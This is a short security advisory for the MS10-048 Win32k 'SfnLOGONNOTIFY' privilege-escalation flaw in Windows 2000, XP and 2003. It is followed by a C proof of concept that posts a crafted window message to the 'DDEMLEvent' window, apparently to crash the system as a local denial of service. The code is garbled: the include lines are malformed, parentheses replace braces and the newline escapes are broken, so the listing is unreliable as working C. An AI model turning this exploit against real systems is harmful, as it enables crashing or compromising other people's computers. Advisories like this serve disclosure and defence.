Microsoft Windows 'SfnLOGONNOTIFY' Local Privilege Escalation Vulnerability (MS10-048)

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Microsoft Windows is prone to a local privilege-escalation vulnerability.

A local attacker may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition.

Microsoft Windows 2000, Windows XP and Windows 2003 are affected by this issue.

# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();

HWND hwnd = FindWindow ("DDEMLEvent", NULL);

if (hwnd == 0)
(
printf ("cannot find DDEMLEvent Window! \ n");
return 0;
)

PostMessage (hwnd, 0x4c, 0x4, 0x80000000);


return 0;
)